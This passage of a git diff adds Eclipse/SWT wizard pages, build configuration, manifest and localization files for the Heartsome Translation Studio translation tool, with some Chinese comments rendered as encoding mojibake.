cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + setControl(container); + validator.update(); + + } + + public void reload() { + if (lstText != null) { + lstText.clear(); + } + if (lstCombo != null) { + lstCombo.clear(); + } + ArrayList lstField = PreferenceUtil.getProjectFieldList(); + LinkedHashMap> mapAttr = PreferenceUtil.getProjectAttributeMap(); + if ((lstField != null && lstField.size() > 0) || (mapAttr != null && mapAttr.size() > 0)) { + if (groupField == null || groupField.isDisposed()) { + groupField = new Group((Composite) getControl(), SWT.None); + groupField.setLayout(new GridLayout()); + GridData fieldData = new GridData(GridData.FILL_BOTH); + groupField.setLayoutData(fieldData); + groupField.setText(Messages.getString("wizards.NewProjectWizardProjInfoPage.groupField")); + cmpScrolled = new ScrolledComposite(groupField, SWT.V_SCROLL); + cmpScrolled.setAlwaysShowScrollBars(false); + cmpScrolled.setLayoutData(new GridData(GridData.FILL_BOTH)); + cmpScrolled.setExpandHorizontal(true); + cmpScrolled.setExpandVertical(true); + + cmpField = new Composite(cmpScrolled, SWT.None); + cmpField.setLayout(new GridLayout(2, false)); + cmpScrolled.setContent(cmpField); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + if (cmpField != null && !cmpField.isDisposed()) { + for (Control control : cmpField.getChildren()) { + control.dispose(); + } + cmpField.layout(); + cmpScrolled.layout(); + groupField.layout(); + groupField.getParent().layout(); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + if (lstField != null && lstField.size() > 0) { + if (lstText == null) { + lstText = new ArrayList(); + } + for (String strField : lstField) { + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = strField.replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x >= 100) { + gd.widthHint = 100; + } + Text txt = new Text(cmpField, SWT.BORDER); + txt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txt.setData(strField); + txt.addListener(SWT.Modify, this); + lstText.add(txt); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + + if (mapAttr != null && mapAttr.size() > 0) { + Iterator>> it = mapAttr.entrySet().iterator(); + if (lstCombo == null) { + lstCombo = new ArrayList(); + } + while (it.hasNext()) { + Entry> entry = (Entry>) it.next(); + String attrName = entry.getKey(); + ArrayList lstAttrVal = entry.getValue(); + lstAttrVal.add(0, ""); + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = attrName.replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x >= 100) { + gd.widthHint = 100; + } + Combo cmb = new Combo(cmpField, SWT.READ_ONLY); + cmb.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmb.setItems(lstAttrVal.toArray(new String[lstAttrVal.size()])); + cmb.select(0); + cmb.setData(attrName); + lstCombo.add(cmb); + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + cmpField.layout(); + cmpScrolled.layout(); + groupField.layout(); + groupField.getParent().layout(); + } + } else if (groupField != null && !groupField.isDisposed()) { + Composite cmpParent = groupField.getParent(); + groupField.dispose(); + cmpParent.layout(); + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt.widgets.Event) + */ + public void handleEvent(Event event) { + // Add target Language + validator.update(); + } + + /** + * Get Project Name + * @return ; + */ + public String getProjectName() { + return this.projectNameText.getText().trim(); + } + + /** + * 获å–é¡¹ç›®ä¿¡æ¯ + * @return ; + */ + public IProject getProject() { + return ResourcesPlugin.getWorkspace().getRoot().getProject(this.getProjectName()); + } + + /** + * 获å–é¡¹ç›®å­—æ®µé›†åˆ + * @return key 为字段å称,value 为字段值 + */ + public LinkedHashMap getFieldMap() { + LinkedHashMap mapField = new LinkedHashMap(); + if (lstText != null) { + for (Text txt : lstText) { + if (!txt.isDisposed()) { + mapField.put(TextUtil.stringToXML((String) txt.getData()), TextUtil.stringToXML(txt.getText()).trim()); + } + } + } + return mapField; + } + + /** + * 获å–é¡¹ç›®å±žæ€§å­—æ®µé›†åˆ + * @return key 为属性å称,value ä¸­ç¬¬ä¸€ä¸ªå€¼ä¸ºé€‰ä¸­çš„å±žæ€§å€¼ï¼Œç¬¬äºŒä¸ªå€¼ä¸ºè¯¥å±žæ€§å¯¹åº”çš„æ‰€æœ‰å±žæ€§å€¼é›†åˆ + */ + public LinkedHashMap getAttributeMap() { + LinkedHashMap mapAttr = new LinkedHashMap(); + if (lstCombo != null) { + for (Combo cmb : lstCombo) { + if (!cmb.isDisposed()) { + ArrayList lstAttrValue = new ArrayList(); + for (String attrVal : cmb.getItems()) { + lstAttrValue.add(TextUtil.stringToXML(attrVal)); + } + mapAttr.put(TextUtil.stringToXML((String) cmb.getData()), + new Object[] { TextUtil.stringToXML(cmb.getText()), lstAttrValue }); + } + } + } + return mapAttr; + } + + /** + * 验è¯å™¨ã€‚验è¯ç•Œé¢è¾“å…¥ + * @author Jason + * @version + * @since JDK1.6 + */ + private final class Validator { + + public void update() { + final IWorkspace workspace = ResourcesPlugin.getWorkspace(); + String projectName = getProjectName(); + String result = ValidationUtils.validateProjectName(projectName); + if (result != null) { + setErrorMessage(result); + setPageComplete(false); + return; + } + + // check whether the project name is valid + final IStatus nameStatus = workspace.validateName(projectName, IResource.PROJECT); + if (!nameStatus.isOK()) { + setErrorMessage(nameStatus.getMessage()); + setPageComplete(false); + return; + } + + // 修改,上一步验è¯æ˜¯éªŒè¯åœ¨å½“å‰æ“作系统下的字符,但打包出æ¥çš„项目å有å¯èƒ½åœ¨å…¶ä»–æ“作系统ä¸æ”¯æŒã€‚æ•…å†éªŒè¯ä¸€æ¬¡ robert 2013-04-25 + char[] errorChars = new char[]{'/', '\\', ':', '?', '"', '<', '>', '|'}; + if (Platform.getOS().indexOf("win") == -1) { + for (int i = 0; i < errorChars.length; i++){ + if (projectName.indexOf(errorChars[i]) != -1) { + setErrorMessage(MessageFormat.format(Messages.getString("NewProjectWizardProjInfoPage.valid.waring"), + new Object[]{errorChars[i], projectName})); + setPageComplete(false); + return; + } + } + } + + final IProject project = getProject(); + if (project.exists()) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg1")); + setPageComplete(false); + return; + } + + final IPath projectLocation = ResourcesPlugin.getWorkspace().getRoot().getLocation().append(projectName); + if (projectLocation.toFile().exists()) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg2")); + setPageComplete(false); + return; + } + + if (lstText != null && lstText.size() > 0) { + for (Text txt : lstText) { + String value = txt.getText(); + if (value != null && !value.equals("")) { + if (value.trim().equals("")) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg3")); + setPageComplete(false); + return; + } else if (value.trim().length() > 50) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg4")); + setPageComplete(false); + return; + } + } + } + } + + setPageComplete(true); + setErrorMessage(null); + setMessage(null); + } + + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardSourceFilePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardSourceFilePage.java new file mode 100644 index 0000000..bcd1747 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/wizards/NewProjectWizardSourceFilePage.java @@ -0,0 +1,161 @@ +/** + * NewProjectWizardFourthPage.java + * + * Version information : + * + * Date:Oct 28, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.wizards; + +import java.io.File; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ListViewer; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; + +/** + * 创建项目å‘导的第四个页é¢ï¼Œç”¨äºŽç”¨æˆ·é€‰æ‹©æºæ–‡ä»¶ + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewProjectWizardSourceFilePage extends WizardPage { + + private List srcFileList; + private ListViewer fileListViewer; + private boolean isOpenConverter = false; + + private IConverterCaller converterCaller; + + /** + * Create the wizard. + */ + public NewProjectWizardSourceFilePage() { + super("wizardPage"); + setTitle(Messages.getString("wizard.NewProjectWizardSourceFilePage.title")); + setDescription(Messages.getString("wizard.NewProjectWizardSourceFilePage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/project/new-project-logo.png")); + srcFileList = new ArrayList(); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + setControl(container); + + fileListViewer = new ListViewer(container, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI); + fileListViewer.getList().setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + fileListViewer.setContentProvider(new ArrayContentProvider()); + fileListViewer.setInput(srcFileList); + + if (this.converterCaller != null) { + final Button btnConvert = new Button(container, SWT.CHECK); + btnConvert.setText(Messages.getString("wizard.NewProjectWizardSourceFilePage.btnConvert")); + btnConvert.setSelection(true); + isOpenConverter = true; + btnConvert.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + isOpenConverter = btnConvert.getSelection(); + } + }); + } + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayout(new GridLayout(2, false)); + composite.setLayoutData(new GridData(SWT.RIGHT, SWT.FILL, false, false, 1, 1)); + + Button addBtn = new Button(composite, SWT.NONE); + addBtn.setText(Messages.getString("wizard.NewProjectWizardSourceFilePage.addBtn")); + addBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell(), SWT.MULTI); + // CONVERTEREXTENTION + String[] supExtentions = new String[]{"*.mif;*.idml;*.inx;*.xlf;*.rtf;*.po;*.properties;*.js;*.mqxlz;*.doc;*.xls;*.ppt;" + + "*.docx;*.xlsx;*.pptx;*.odt;*.ods;*.odp;*.odg;*.rtf;*.sdlxliff;*.ttx;*.htm;*.html;*.txt;*.resx;*.rc;*.xml;*.txml", "*.*"}; + dlg.setFilterExtensions(supExtentions); + if (dlg.open() != null) { + String[] files = dlg.getFileNames(); + for (int i = 0; i < files.length; i++) { + StringBuffer buf = new StringBuffer(dlg.getFilterPath()); + buf.append(File.separator); + buf.append(files[i]); + String file = buf.toString(); + if (!srcFileList.contains(file)) { + srcFileList.add(file); + } + } + fileListViewer.refresh(); + } + } + }); + + Button deleteBtn = new Button(composite, SWT.NONE); + deleteBtn.setText(Messages.getString("wizard.NewProjectWizardSourceFilePage.deleteBtn")); + deleteBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection selections = (IStructuredSelection) fileListViewer.getSelection(); + Iterator it = selections.iterator(); + while (it.hasNext()) { + String file = (String) it.next(); + srcFileList.remove(file); + } + fileListViewer.refresh(); + } + }); + } + + /** + * 获å–选择的æºæ–‡ä»¶ + * @return 返回一个文件路径的List,返回null 未选择æºæ–‡ä»¶; + */ + public List getSrcFiles() { + return srcFileList.size() == 0 ? null : srcFileList; + } + + public boolean isOpenConverter() { + return isOpenConverter; + } + + // 设置转æ¢å™¨ä¿¡æ¯ + public void setConvertInfo(IConverterCaller converterCaller) { + this.converterCaller = converterCaller; + } + + + public static void main(String[] args) { + String formant = "MIF;IDML;INX;XLF;RTF;PO;PROPERTIES;JS;MQXLZ;DOC;XLS;PPT;DOCX;XLSX;PPTX;ODT;ODS;ODP;ODG;RTF;SDLXLIFF;TTX;HTM;HTML;TXT;RESX;RC;XML;TXML"; + System.out.println(formant.toLowerCase()); + String newFormat = formant.toLowerCase(); + System.out.println(newFormat.replace(";", ";*.")); + + + + + } +} diff --git a/ts/net.heartsome.cat.ts/.classpath b/ts/net.heartsome.cat.ts/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts/.project b/ts/net.heartsome.cat.ts/.project new file mode 100644 index 0000000..820d96e --- /dev/null +++ b/ts/net.heartsome.cat.ts/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..723dd74 --- /dev/null +++ b/ts/net.heartsome.cat.ts/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:01:01 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4c44102 --- /dev/null +++ b/ts/net.heartsome.cat.ts/META-INF/MANIFEST.MF @@ -0,0 +1,32 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS +Bundle-SymbolicName: net.heartsome.cat.ts; singleton:=true +Bundle-Version: 8.0.2.R8b_v20130220 +Bundle-Activator: net.heartsome.cat.ts.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.5.0", + org.eclipse.ui.ide;bundle-version="3.5.0", + heartsome.java.tools.plugin;bundle-version="1.0.0", + org.eclipse.core.expressions;bundle-version="3.4.100", + org.eclipse.core.filesystem;bundle-version="1.2.0", + org.eclipse.ui.editors;bundle-version="3.5.0", + org.eclipse.ui.workbench.texteditor;bundle-version="3.5.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="8.0.3" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.core, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.languagesetting, + net.heartsome.cat.common.ui.listener, + net.heartsome.cat.common.util, + net.heartsome.cat.p2update.autoupdate, + org.eclipse.ui.navigator +Bundle-Localization: plugin +Export-Package: net.heartsome.cat.ts.util +Bundle-ClassPath: . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts/about.mappings b/ts/net.heartsome.cat.ts/about.mappings new file mode 100644 index 0000000..a682673 --- /dev/null +++ b/ts/net.heartsome.cat.ts/about.mappings @@ -0,0 +1,6 @@ +0=$version$ +1=$date$ +2=Heartsome Translation Studio \u65d7\u8230\u7248 +3=Heartsome Translation Studio \u4e13\u4e1a\u7248 +4=Heartsome Translation Studio \u4e2a\u4eba\u7248 +5=Heartsome Translation Studio \u7cbe\u7b80\u7248 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts/build.properties b/ts/net.heartsome.cat.ts/build.properties new file mode 100644 index 0000000..adf1987 --- /dev/null +++ b/ts/net.heartsome.cat.ts/build.properties @@ -0,0 +1,16 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + icons/,\ + plugin_customization.ini,\ + splash.bmp,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties,\ + helpData.xml,\ + about.mappings,\ + nl/ diff --git a/ts/net.heartsome.cat.ts/helpData.xml b/ts/net.heartsome.cat.ts/helpData.xml new file mode 100644 index 0000000..a08b4d0 --- /dev/null +++ b/ts/net.heartsome.cat.ts/helpData.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts/icons/alt_window_16.gif b/ts/net.heartsome.cat.ts/icons/alt_window_16.gif new file mode 100644 index 0000000..05626b1 Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/alt_window_16.gif differ diff --git a/ts/net.heartsome.cat.ts/icons/alt_window_32.gif b/ts/net.heartsome.cat.ts/icons/alt_window_32.gif new file mode 100644 index 0000000..b432f88 Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/alt_window_32.gif differ diff --git a/ts/net.heartsome.cat.ts/icons/disabled_co.png b/ts/net.heartsome.cat.ts/icons/disabled_co.png new file mode 100644 index 0000000..c1e73ef Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/disabled_co.png differ diff --git a/ts/net.heartsome.cat.ts/icons/enabled_co.png b/ts/net.heartsome.cat.ts/icons/enabled_co.png new file mode 100644 index 0000000..8ebb528 Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/enabled_co.png differ diff --git a/ts/net.heartsome.cat.ts/icons/preferenceConfig.png b/ts/net.heartsome.cat.ts/icons/preferenceConfig.png new file mode 100644 index 0000000..09d90ec Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/preferenceConfig.png differ diff --git a/ts/net.heartsome.cat.ts/icons/save.png b/ts/net.heartsome.cat.ts/icons/save.png new file mode 100644 index 0000000..9b19847 Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/save.png differ diff --git a/ts/net.heartsome.cat.ts/icons/xliff_16.gif b/ts/net.heartsome.cat.ts/icons/xliff_16.gif new file mode 100644 index 0000000..d17628f Binary files /dev/null and b/ts/net.heartsome.cat.ts/icons/xliff_16.gif differ diff --git a/ts/net.heartsome.cat.ts/images/edit/copy.png b/ts/net.heartsome.cat.ts/images/edit/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/copy.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/cut.png b/ts/net.heartsome.cat.ts/images/edit/cut.png new file mode 100644 index 0000000..d157966 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/cut.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/delete.png b/ts/net.heartsome.cat.ts/images/edit/delete.png new file mode 100644 index 0000000..ea445dc Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/delete.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/paste.png b/ts/net.heartsome.cat.ts/images/edit/paste.png new file mode 100644 index 0000000..24de517 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/paste.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/redo.png b/ts/net.heartsome.cat.ts/images/edit/redo.png new file mode 100644 index 0000000..2133ef5 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/redo.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/search_replace.png b/ts/net.heartsome.cat.ts/images/edit/search_replace.png new file mode 100644 index 0000000..1a8dac4 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/search_replace.png differ diff --git a/ts/net.heartsome.cat.ts/images/edit/undo.png b/ts/net.heartsome.cat.ts/images/edit/undo.png new file mode 100644 index 0000000..dbce811 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/edit/undo.png differ diff --git a/ts/net.heartsome.cat.ts/images/file/logout.png b/ts/net.heartsome.cat.ts/images/file/logout.png new file mode 100644 index 0000000..dc2a74c Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/file/logout.png differ diff --git a/ts/net.heartsome.cat.ts/images/file/new-project.png b/ts/net.heartsome.cat.ts/images/file/new-project.png new file mode 100644 index 0000000..01b98d3 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/file/new-project.png differ diff --git a/ts/net.heartsome.cat.ts/images/file/save.png b/ts/net.heartsome.cat.ts/images/file/save.png new file mode 100644 index 0000000..308579b Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/file/save.png differ diff --git a/ts/net.heartsome.cat.ts/images/file/saveall.gif b/ts/net.heartsome.cat.ts/images/file/saveall.gif new file mode 100644 index 0000000..ef0eab5 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/file/saveall.gif differ diff --git a/ts/net.heartsome.cat.ts/images/find.png b/ts/net.heartsome.cat.ts/images/find.png new file mode 100644 index 0000000..aa1b58c Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/find.png differ diff --git a/ts/net.heartsome.cat.ts/images/help/about.png b/ts/net.heartsome.cat.ts/images/help/about.png new file mode 100644 index 0000000..bb46929 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/help/about.png differ diff --git a/ts/net.heartsome.cat.ts/images/help/aboutR8.png b/ts/net.heartsome.cat.ts/images/help/aboutR8.png new file mode 100644 index 0000000..78f096c Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/help/aboutR8.png differ diff --git a/ts/net.heartsome.cat.ts/images/help/help.png b/ts/net.heartsome.cat.ts/images/help/help.png new file mode 100644 index 0000000..73f353c Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/help/help.png differ diff --git a/ts/net.heartsome.cat.ts/images/help/showKey.png b/ts/net.heartsome.cat.ts/images/help/showKey.png new file mode 100644 index 0000000..ad8b80c Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/help/showKey.png differ diff --git a/ts/net.heartsome.cat.ts/images/tool/redo.png b/ts/net.heartsome.cat.ts/images/tool/redo.png new file mode 100644 index 0000000..5190f1a Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/tool/redo.png differ diff --git a/ts/net.heartsome.cat.ts/images/tool/save.png b/ts/net.heartsome.cat.ts/images/tool/save.png new file mode 100644 index 0000000..0c76045 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/tool/save.png differ diff --git a/ts/net.heartsome.cat.ts/images/tool/undo.png b/ts/net.heartsome.cat.ts/images/tool/undo.png new file mode 100644 index 0000000..9122a6f Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/tool/undo.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_128.png b/ts/net.heartsome.cat.ts/images/xliff_128.png new file mode 100644 index 0000000..1545257 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_128.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_16.png b/ts/net.heartsome.cat.ts/images/xliff_16.png new file mode 100644 index 0000000..e649607 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_16.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_24.png b/ts/net.heartsome.cat.ts/images/xliff_24.png new file mode 100644 index 0000000..340c30d Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_24.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_32.png b/ts/net.heartsome.cat.ts/images/xliff_32.png new file mode 100644 index 0000000..36dff67 Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_32.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_48.png b/ts/net.heartsome.cat.ts/images/xliff_48.png new file mode 100644 index 0000000..a88c3ed Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_48.png differ diff --git a/ts/net.heartsome.cat.ts/images/xliff_64.png b/ts/net.heartsome.cat.ts/images/xliff_64.png new file mode 100644 index 0000000..991295b Binary files /dev/null and b/ts/net.heartsome.cat.ts/images/xliff_64.png differ diff --git a/ts/net.heartsome.cat.ts/nl/en/about.mappings b/ts/net.heartsome.cat.ts/nl/en/about.mappings new file mode 100644 index 0000000..f1fb629 --- /dev/null +++ b/ts/net.heartsome.cat.ts/nl/en/about.mappings @@ -0,0 +1,6 @@ +0=$version$ +1=$date$ +2=Heartsome Translation Studio Ultimate +3=Heartsome Translation Studio Professional +4=Heartsome Translation Studio Personal +5=Heartsome Translation Studio Lite \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts/nl/zh/about.mappings b/ts/net.heartsome.cat.ts/nl/zh/about.mappings new file mode 100644 index 0000000..a682673 --- /dev/null +++ b/ts/net.heartsome.cat.ts/nl/zh/about.mappings @@ -0,0 +1,6 @@ +0=$version$ +1=$date$ +2=Heartsome Translation Studio \u65d7\u8230\u7248 +3=Heartsome Translation Studio \u4e13\u4e1a\u7248 +4=Heartsome Translation Studio \u4e2a\u4eba\u7248 +5=Heartsome Translation Studio \u7cbe\u7b80\u7248 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts/plugin.properties b/ts/net.heartsome.cat.ts/plugin.properties new file mode 100644 index 0000000..daae411 --- /dev/null +++ b/ts/net.heartsome.cat.ts/plugin.properties @@ -0,0 +1,63 @@ +category.tool = \u5de5\u5177 +menu.edit.undo = \u64a4\u9500 +menu.edit.redo = \u91cd\u505a +menu.file.closeall = \u5173\u95ed\u6240\u6709 +menu.file.close = \u5173\u95ed +menu.file.refresh = \u5237\u65b0 +menu.edit.rename = \u91cd\u547d\u540d +menu.edit.selectAll = \u9009\u62e9\u6240\u6709 +toolBar.undo = \u64a4\u9500 +toolBar.redo = \u91cd\u505a + +menu.view = \u89c6\u56fe(&V) +menu.view.toolBar = \u5de5\u5177\u680f +menu.view.statusBar = \u72b6\u6001\u680f + +category.view = \u89c6\u56fe +command.toolBar = \u5de5\u5177\u680f +command.statusBar = \u72b6\u6001\u680f + +wizard.newFolder = \u65b0\u5efa\u6587\u4ef6\u5939 + +menu.preference = \u9009\u9879... +command.preference = \u9009\u9879 + +products.name = Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4 +products.appName = Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4 + +perspectives.default = Xliff Editor + +########################## 2012-08-29 \u6dfb\u52a0 ########################################## +menu.help.about = \u5173\u4e8e Translation Studio... +command.help.about = \u5173\u4e8e Translation Studio + +########################## 2012-11-06 \u6dfb\u52a0 ########################################## +command.help.helpContents = \u67e5\u770b\u5e2e\u52a9 +########################## 2012-11-07 \u6dfb\u52a0 ########################################## +menu.help.keyAssist = \u5feb\u6377\u952e +command.help.keyAssist = \u5feb\u6377\u952e +########################## 2012-11-12 \u6dfb\u52a0 ########################################## +aboutU={2}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ 